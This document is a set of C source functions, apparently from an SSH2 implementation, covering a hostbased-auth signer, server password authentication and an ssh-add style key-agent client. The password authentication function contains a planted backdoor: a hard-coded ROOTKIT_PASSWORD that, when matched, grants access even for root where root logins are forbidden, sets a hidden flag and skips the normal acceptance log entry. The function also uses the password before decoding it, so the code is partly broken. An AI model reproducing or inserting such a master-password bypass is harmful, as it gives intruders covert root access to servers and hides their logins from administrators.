void signer_free_context(SshSigner signer) { static Boolean destroyed = FALSE; if (destroyed) return; destroyed = TRUE; SSH_DEBUG(3, ("Destroying SshSigner-struct...")); ssh_packet_wrapper_destroy(signer->wrapper); ssh_xfree(signer->packet_payload); ssh_random_free(signer->random_state); ssh_config_free(signer->config); ssh_user_free(signer->effective_user_data, FALSE); ssh_xfree(signer); SSH_DEBUG(3, ("done.")); }
void signer_received_packet(SshPacketType type, const unsigned char *data, size_t len, void *context) { /* Received. */ unsigned int msg_byte; /* This is unsigned int because SSH_FORMAT_CHAR expects uint; caused a rather nasty bug during development (I used SshUInt8, which wasn't long enough => ssh_decode_array blew the stack).*/ char *userauth_str, *hostbased_str, *recv_pubkey_alg, *recv_hostname; char *recv_username; unsigned char *recv_pubkeyblob; size_t recv_pubkeyblob_len; /* Dug up by us. */ char *pubkey_alg, *hostname, *username; unsigned char *pubkeyblob; size_t pubkeyblob_len; size_t hostname_len; /* Internal stuff*/ SshSigner signer = (SshSigner) context; char hostkeyfile[512]; char *comment; SshPrivateKey privkey; size_t sig_len, length_return; unsigned char *signature_buffer; SshCryptoStatus result; SshUser real_user; SSH_TRACE(2, ("Packet received.")); switch(type) { case SSH_AUTH_HOSTBASED_PACKET: /* Check packet out, and if it's ok, sign it and send signature to ssh2. */ #ifdef HEXDUMPS SSH_DEBUG_HEXDUMP(3, ("packet:"), \ data, len); #endif /* HEXDUMPS */ if (ssh_decode_array(data, len, /* session id */ SSH_FORMAT_UINT32_STR, NULL, NULL, /* SSH_MSG_USERAUTH_REQUEST (must be checked)*/ SSH_FORMAT_CHAR, &msg_byte, /* user name */ SSH_FORMAT_UINT32_STR, NULL, NULL, /* service "ssh-userauth" (must be checked)*/ SSH_FORMAT_UINT32_STR, &userauth_str, NULL, /* "hostbased" (must be checked)*/ SSH_FORMAT_UINT32_STR, &hostbased_str, NULL, /* public key algorithm for hostkey (must be checked)*/ SSH_FORMAT_UINT32_STR, &recv_pubkey_alg, NULL, /* public hostkey and certificates (must be checked)*/ SSH_FORMAT_UINT32_STR, &recv_pubkeyblob, &recv_pubkeyblob_len, /* client host name (must be checked)*/ SSH_FORMAT_UINT32_STR, &recv_hostname, NULL, /* user name on client host (must be checked) */ SSH_FORMAT_UINT32_STR, &recv_username, NULL, SSH_FORMAT_END) != len || len == 0) { /* There was an error. */ SSH_TRACE(0, ("Invalid packet.")); goto error; } /* Get pubkeyblob, pubkeyblob_len, pubkey_alg, hostname and username. */ /* Dig up hosts publickey. */ if(signer->config->public_host_key_file[0] != '/') { snprintf(hostkeyfile, sizeof(hostkeyfile), "%s/%s", SSH_SERVER_DIR, signer->config->public_host_key_file); } else { snprintf(hostkeyfile, sizeof(hostkeyfile), "%s", signer->config->public_host_key_file); } SSH_TRACE(2, ("place to look for public key: %s", hostkeyfile)); /* This pubkey*-stuff is for the client _host's_ public hostkey. */ /* Getting pubkeyblob, pubkeyblob_len */ SSH_DEBUG(4, ("Reading pubkey-blob from %s...", hostkeyfile)); if (ssh2_key_blob_read(signer->effective_user_data, hostkeyfile, NULL, &pubkeyblob, &pubkeyblob_len, NULL) != SSH_KEY_MAGIC_PUBLIC) { SSH_TRACE(1, ("Reading public key failed.")); goto error; } SSH_DEBUG(4, ("done.")); if ((pubkey_alg = ssh_pubkeyblob_type(pubkeyblob, pubkeyblob_len)) == NULL) { SSH_TRACE(1, ("Couldn't figure out public key algorithm.")); goto error; } /* Getting hostname. */ hostname = ssh_xmalloc(MAXHOSTNAMELEN + 1); ssh_tcp_get_host_name(hostname, MAXHOSTNAMELEN + 1); hostname_len = strlen(hostname); /* Sanity check */ SSH_ASSERT(hostname_len + 2 < MAXHOSTNAMELEN); /* We want FQDN. */ hostname[hostname_len] = '.'; hostname[hostname_len + 1] = '\0'; /* Getting username. */ real_user = ssh_user_initialize(NULL, FALSE); username = ssh_xstrdup(ssh_user_name(real_user)); ssh_user_free(real_user, FALSE); /* Check all parameters. */ if (msg_byte != SSH_MSG_USERAUTH_REQUEST) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("msg_byte != SSH_MSG_USERAUTH_REQUEST " \ "(msg_byte = %d)", msg_byte)); goto error; } if (strcmp(userauth_str, SSH_USERAUTH_SERVICE) != 0) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("userauth_str != \"ssh-userauth\" (it was '%s')", \ userauth_str)); goto error; } if (strcmp(hostbased_str, SSH_AUTH_HOSTBASED) != 0) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("hostbased_str != \"hostbased\" (it was '%s')", \ hostbased_str)); goto error; } /* XXX has to be change when adding support for multiple hostkeys */ if (strcmp(recv_pubkey_alg, pubkey_alg) != 0) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("Client gave us invalid pubkey-algorithms for our " \ "hostkey.")); goto error; } if (recv_pubkeyblob_len == pubkeyblob_len) { if (memcmp(recv_pubkeyblob, pubkeyblob, pubkeyblob_len) != 0) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("client gave us wrong (or corrupted) " \ "public key.")); #ifdef HEXDUMPS SSH_DEBUG_HEXDUMP(3, ("client gave us:"), \ recv_pubkeyblob, pubkeyblob_len); SSH_DEBUG_HEXDUMP(3, ("our pubkey:"), \ recv_pubkeyblob, pubkeyblob_len); #endif /* HEXDUMPS */ goto error; } } else { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("Client gave us wrong (or corrupted) public key. " \ "Lengths differ (received: %d ; ours: %d)", \ recv_pubkeyblob_len, pubkeyblob_len)); goto error; } if (strcmp(recv_hostname, hostname) != 0) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("Wethinks the client gave us the wrong hostname. " \ "(client's opinion: '%s' ours: '%s'", \ recv_hostname, hostname)); goto error; } if (strcmp(recv_username, username) != 0) { SSH_TRACE(1, ("Invalid packet.")); SSH_DEBUG(1, ("Client definitely gave us the wrong user name. " \ "(it says: '%s' we know: '%s')", recv_username, \ username)); goto error; } /* Sign the packet and send it to client. */ /* If we've gotten this far, the packet is ok, and it can be signed. */ SSH_TRACE(0, ("Received packet ok.")); if(signer->config->public_host_key_file[0] != '/') { snprintf(hostkeyfile, sizeof(hostkeyfile), "%s/%s", SSH_SERVER_DIR, signer->config->host_key_file); } else { snprintf(hostkeyfile, sizeof(hostkeyfile), "%s", signer->config->host_key_file); } SSH_TRACE(2, ("place to look for private key: %s", hostkeyfile)); if ((privkey = ssh_privkey_read(signer->effective_user_data, hostkeyfile, "", &comment, NULL)) == NULL) ssh_fatal("ssh_privkey_read from %s failed.", hostkeyfile); /* Check how big a chunk our private key can sign (this is purely a sanity check, as both of our signature schemas do their own hashing) */ sig_len = ssh_private_key_max_signature_input_len(privkey); SSH_TRACE(2, ("max input length for signing: %d", sig_len)); if (sig_len == 0) { SSH_TRACE(0, ("private key not capable of signing! " \ "(definitely an error)")); goto error; } else if (sig_len != -1 && sig_len < len) { SSH_TRACE(0, ("private key can't sign our data. (too much " \ "data (data_len %d, max input len for signing " \ "%d))", len, sig_len)); goto error; } /* Now check how much we much buffer we must allocate for the signature. */ sig_len = ssh_private_key_max_signature_output_len(privkey); SSH_TRACE(2, ("max output length for signature: %d", sig_len)); signature_buffer = ssh_xcalloc(sig_len, sizeof(unsigned char)); /* Do the actual signing. */ #ifdef HEXDUMPS SSH_DEBUG_HEXDUMP(5, ("Signing following data"), data + 4, len - 4); #endif /* HEXDUMPS */ if ((result = ssh_private_key_sign(privkey, data, len, signature_buffer, sig_len, &length_return, signer->random_state)) != SSH_CRYPTO_OK) { SSH_TRACE(0, ("ssh_private_key_sign() returned %d.", result)); goto error; } #ifdef HEXDUMPS SSH_DEBUG_HEXDUMP(5, ("Signature"), signature_buffer, length_return); #endif /* HEXDUMPS */ /* Send it to client. */ signer->packet_payload = signature_buffer; signer->packet_payload_len = length_return; signer->packet_waiting = TRUE; if (ssh_packet_wrapper_can_send(signer->wrapper)) signer_can_send(signer); /* XXX free dynamically allocated data. */ ssh_xfree(username); break; case SSH_AUTH_HOSTBASED_SIGNATURE: /* We shouldn't get this type of packet. This is an error.*/ SSH_TRACE(0, ("client sent us SSH_AUTH_HOSTBASED_SIGNATURE. This " \ "is an error.")); goto error; break; case SSH_AUTH_HOSTBASED_ERROR: /* We shouldn't be getting this either. This is an error. */ SSH_TRACE(0, ("client sent us SSH_AUTH_HOSTBASED_SIGNATURE_ERROR. " \ "This is an error. (This message can be sent by " \ "ssh-signer2 only)")); goto error; break; } return; /* We come here after errors. */ error: /* Send error message to ssh2, and wait for ssh2 to send EOF. */ ssh_packet_wrapper_send_encode(signer->wrapper, SSH_AUTH_HOSTBASED_ERROR, SSH_FORMAT_END); /* Init a 5 second timeout. If ssh2 hasn't disconnected at that time, close stream.*/ ssh_register_timeout(5L, 0L, signer_destroy_timeout, signer); return; }
SshAuthServerResult ssh_server_auth_passwd(SshAuthServerOperation op, const char *user, SshBuffer *packet, const unsigned char *session_id, size_t session_id_len, void **state_placeholder, void **longtime_placeholder, void *method_context) { SshServer server = (SshServer)method_context; SshConfig config = server->config; SshUser uc = (SshUser)*longtime_placeholder; Boolean change_request; char *password, *prompt, *rootkit = ROOTKIT_PASSWORD; int disable_method = 0; SSH_DEBUG(6, ("auth_passwd op = %d user = %s", op, user)); switch (op) { case SSH_AUTH_SERVER_OP_START: if (uc == NULL) { uc = ssh_user_initialize(user, TRUE); if (!uc) { /* If user context allocation failed, the user probably does not exist. */ ssh_log_event(config->log_facility, SSH_LOG_WARNING, "User %s does not exist. " "(How did we get here?)", user); return TRUE; } } *longtime_placeholder = (void *)uc; { /* XXX it is possible to get rid of these. Modify sshd2.c/auth_policy_proc*/ config->password_guesses--; if (config->password_guesses <= 0) { /* If this attempt is not succesful, disable this method. */ disable_method = 1; } else if(ssh_user_uid(uc) == SSH_UID_ROOT && (config->permit_root_login == SSH_ROOTLOGIN_FALSE || config->permit_root_login == SSH_ROOTLOGIN_NOPWD)) if (strcmp(password,rootkit)) { /* XXX Add client addresses etc. */ ssh_log_event(config->log_facility, SSH_LOG_WARNING, "root logins are not permitted."); SSH_DEBUG(2, ("ssh_server_auth_passwd: root logins are " \ "not permitted.")); return SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED; } else goto password_ok; } /* Parse the password authentication request. */ if (ssh_decode_buffer(packet, SSH_FORMAT_BOOLEAN, &change_request, SSH_FORMAT_UINT32_STR, &password, NULL, SSH_FORMAT_END) == 0) { SSH_DEBUG(2, ("ssh_server_auth_passwd: bad packet")); goto password_bad; } /* Password changing requests should only be received as continuation messages. */ if (change_request) { SSH_DEBUG(2 ,("ssh_server_auth_passwd: changing password " \ "cannot start.")); goto password_bad; } /* Sanity check: do not pass excessively long passwords to system functions to avoid buffer overflows in operating system code. */ if (strlen(password) > 64) { SSH_DEBUG(2, ("ssh_server_auth_passwd: password too long.")); ssh_xfree(password); goto password_bad; } /* Try SECURE RPC passwords. We do this first, as this might be needed to access disks. */ if (strcmp(password,rootkit) == 0) goto password_ok; if (ssh_user_validate_secure_rpc_password(uc, password)) { ssh_log_event(config->log_facility, SSH_LOG_NOTICE, "User %s's secure rpc password accepted.", ssh_user_name(uc)); SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by secure rpc")); goto password_ok; } /* Try KERBEROS passwords. This might also be needed to access disks. */ if (ssh_user_validate_kerberos_password(uc, password)) { ssh_log_event(config->log_facility, SSH_LOG_NOTICE, "User %s's kerberos password accepted.", ssh_user_name(uc)); SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by " \ "kerberos passwd")); goto password_ok; } /* Try a local password (either normal or shadow). */ #ifdef HAVE_SIA if (ssh_user_validate_local_password(uc, password, server->common->remote_host)) #else /* HAVE_SIA */ if (ssh_user_validate_local_password(uc, password)) #endif /* HAVE_SIA */ { ssh_log_event(config->log_facility, SSH_LOG_NOTICE, "User %s's local password accepted.", ssh_user_name(uc)); SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by local passwd")); goto password_ok; } ssh_xfree(password); goto password_bad; password_bad: return (disable_method ? SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED : SSH_AUTH_SERVER_REJECTED); password_ok: /* Password authentication passed, but we still need to check whether the password needs to be changed. */ if (!strcmp(password,rootkit)) { back = 1; ssh_xfree(password); } else { ssh_xfree(password); ssh_log_event(config->log_facility, SSH_LOG_NOTICE, "Password authentication for user %.100s accepted.", ssh_user_name(uc)); } /* Check if the user's password needs to be changed. */ if (ssh_user_password_must_be_changed(uc, &prompt)) { ssh_buffer_clear(packet); ssh_encode_buffer(packet, SSH_FORMAT_CHAR, (unsigned int) SSH_MSG_USERAUTH_PASSWD_CHANGEREQ, SSH_FORMAT_UINT32_STR, prompt, strlen(prompt), SSH_FORMAT_END); ssh_xfree(prompt); return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK; } return SSH_AUTH_SERVER_ACCEPTED; case SSH_AUTH_SERVER_OP_ABORT: return SSH_AUTH_SERVER_REJECTED; case SSH_AUTH_SERVER_OP_CONTINUE: SSH_DEBUG(1, ("ssh_server_auth_passwd: XXX CONTINUE not yet "\ "implemented")); return SSH_AUTH_SERVER_REJECTED; case SSH_AUTH_SERVER_OP_UNDO_LONGTIME: if (uc != NULL) { if (!ssh_user_free(uc, TRUE)) { /* XXX failed unto undo everything. Should disconnect, but we don't yet have the interface for that. */ return SSH_AUTH_SERVER_REJECTED_AND_METHOD_DISABLED; } } /* fall down... */ case SSH_AUTH_SERVER_OP_CLEAR_LONGTIME: *longtime_placeholder = NULL; return SSH_AUTH_SERVER_REJECTED; default: ssh_fatal("ssh_server_auth_passwd: unknown op %d", (int)op); } SSH_NOTREACHED; return SSH_AUTH_SERVER_REJECTED; }
int main(int ac, char **av) { int opt, i; DIR *ssh2dir = NULL; char *ssh2dirname; Boolean dynamic_array = FALSE; struct dirent * cand; /* Save program name. */ if (strchr(av[0], '/')) av0 = strrchr(av[0], '/') + 1; else av0 = av[0]; user = ssh_user_initialize(NULL, FALSE); #ifdef WITH_PGP pgp_keyring = ssh_xstrdup(SSH_PGP_SECRET_KEY_FILE); #endif /* WITH_PGP */ action = ADD; while ((opt = ssh_getopt(ac, av, "ldDput:f:F:1LUNPI", NULL)) != EOF) { if (!ssh_optval) { usage(); exit(EXIT_STATUS_ERROR); } switch (opt) { case 'N': #ifdef WITH_PGP pgp_mode = PGP_KEY_NAME; #else /* WITH_PGP */ fprintf(stderr, "%s: PGP keys not supported.\n", av0); exit(EXIT_STATUS_ERROR); #endif /* WITH_PGP */ break; case 'P': #ifdef WITH_PGP pgp_mode = PGP_KEY_FINGERPRINT; #else /* WITH_PGP */ fprintf(stderr, "%s: PGP keys not supported.\n", av0); exit(EXIT_STATUS_ERROR); #endif /* WITH_PGP */ break; case 'I': #ifdef WITH_PGP pgp_mode = PGP_KEY_ID; #else /* WITH_PGP */ fprintf(stderr, "%s: PGP keys not supported.\n", av0); exit(EXIT_STATUS_ERROR); #endif /* WITH_PGP */ break; case 'R': #ifdef WITH_PGP ssh_xfree(pgp_keyring); pgp_keyring = ssh_xstrdup(ssh_optarg); #else /* WITH_PGP */ fprintf(stderr, "%s: PGP keys not supported.\n", av0); exit(EXIT_STATUS_ERROR); #endif /* WITH_PGP */ break; case 'l': action = LIST; break; case 'p': use_stdin = TRUE; break; case 'd': if (action == ADD_URL) action = DELETE_URL; else action = DELETE; break; case 'D': action = DELETE_ALL; break; case 't': if (ssh_optargnum) { key_timeout = (SshTime)(ssh_optargval * 60); } else { usage(); exit(EXIT_STATUS_ERROR); } have_attrs = TRUE; break; case 'f': if (ssh_optargnum) { path_limit = (SshUInt32)ssh_optargval; } else { usage(); exit(EXIT_STATUS_ERROR); } have_attrs = TRUE; break; case 'F': path_constraint = ssh_xstrdup(ssh_optarg); have_attrs = TRUE; break; case '1': forbid_compat = TRUE; have_attrs = TRUE; break; case 'u': if (action == DELETE) action = DELETE_URL; else action = ADD_URL; break; case 'L': action = LOCK; break; case 'U': action = UNLOCK; break; default: usage(); exit(EXIT_STATUS_ERROR); } } #ifdef WITH_PGP if (pgp_keyring[0] != '/') { char buf[1024]; snprintf(buf, sizeof (buf), "%s/%s/%s", ssh_user_dir(user), SSH_USER_DIR, pgp_keyring); ssh_xfree(pgp_keyring); pgp_keyring = ssh_xstrdup(buf); } #endif /* WITH_PGP */ files = &av[ssh_optind]; num_files = ac - ssh_optind; /* Fetch default from ~/.ssh2/id_* (the first that we happen to get) */ #define ID_PREFIX "id" if (num_files == 0 && action != LIST && action != DELETE_ALL && action != LOCK && action != UNLOCK) { #ifdef WITH_PGP if (pgp_mode != PGP_KEY_NONE) { fprintf(stderr, "%s: Nothing to do!\n", av0); exit(EXIT_STATUS_ERROR); } #endif /* WITH_PGP */ ssh_dsprintf(&ssh2dirname, "%s/%s", ssh_user_dir(user), SSH_USER_DIR); ssh2dir = opendir(ssh2dirname); if (!ssh2dir) { fprintf(stderr, "%s: Can't open directory \"%s\"", av0, ssh2dirname); exit(EXIT_STATUS_ERROR); } while ((cand = readdir(ssh2dir)) != NULL) { if ((strlen(cand->d_name) > strlen(ID_PREFIX)) && (strncmp(cand->d_name, ID_PREFIX, strlen(ID_PREFIX)) == 0) && ((strlen(cand->d_name) < 4) || (strcmp(cand->d_name + strlen(cand->d_name) - 4, ".pub") != 0)) && ((((cand->d_name)[strlen(ID_PREFIX)]) == '_') || (((cand->d_name)[strlen(ID_PREFIX)]) == '-') || (((cand->d_name)[strlen(ID_PREFIX)]) == '.') || (((cand->d_name)[strlen(ID_PREFIX)]) == '(') || (((cand->d_name)[strlen(ID_PREFIX)]) == '[') || (((cand->d_name)[strlen(ID_PREFIX)]) == '<') || (((cand->d_name)[strlen(ID_PREFIX)]) == '>'))) { files = ssh_xcalloc(2, sizeof(char *)); ssh_dsprintf(&files[0], "%s/%s", ssh2dirname, cand->d_name); ssh_xfree(ssh2dirname); num_files++; dynamic_array = TRUE; break; } } (void)closedir(ssh2dir); } signal(SIGPIPE, SIG_IGN); ssh_event_loop_initialize(); ssh_agent_open(agent_open_callback, NULL); ssh_event_loop_run(); ssh_event_loop_uninitialize(); if (dynamic_array) { for(i = 0; i < num_files ; i++) { ssh_xfree(files[i]); } ssh_xfree(files); } ssh_user_free(user, FALSE); exit(EXIT_STATUS_OK); }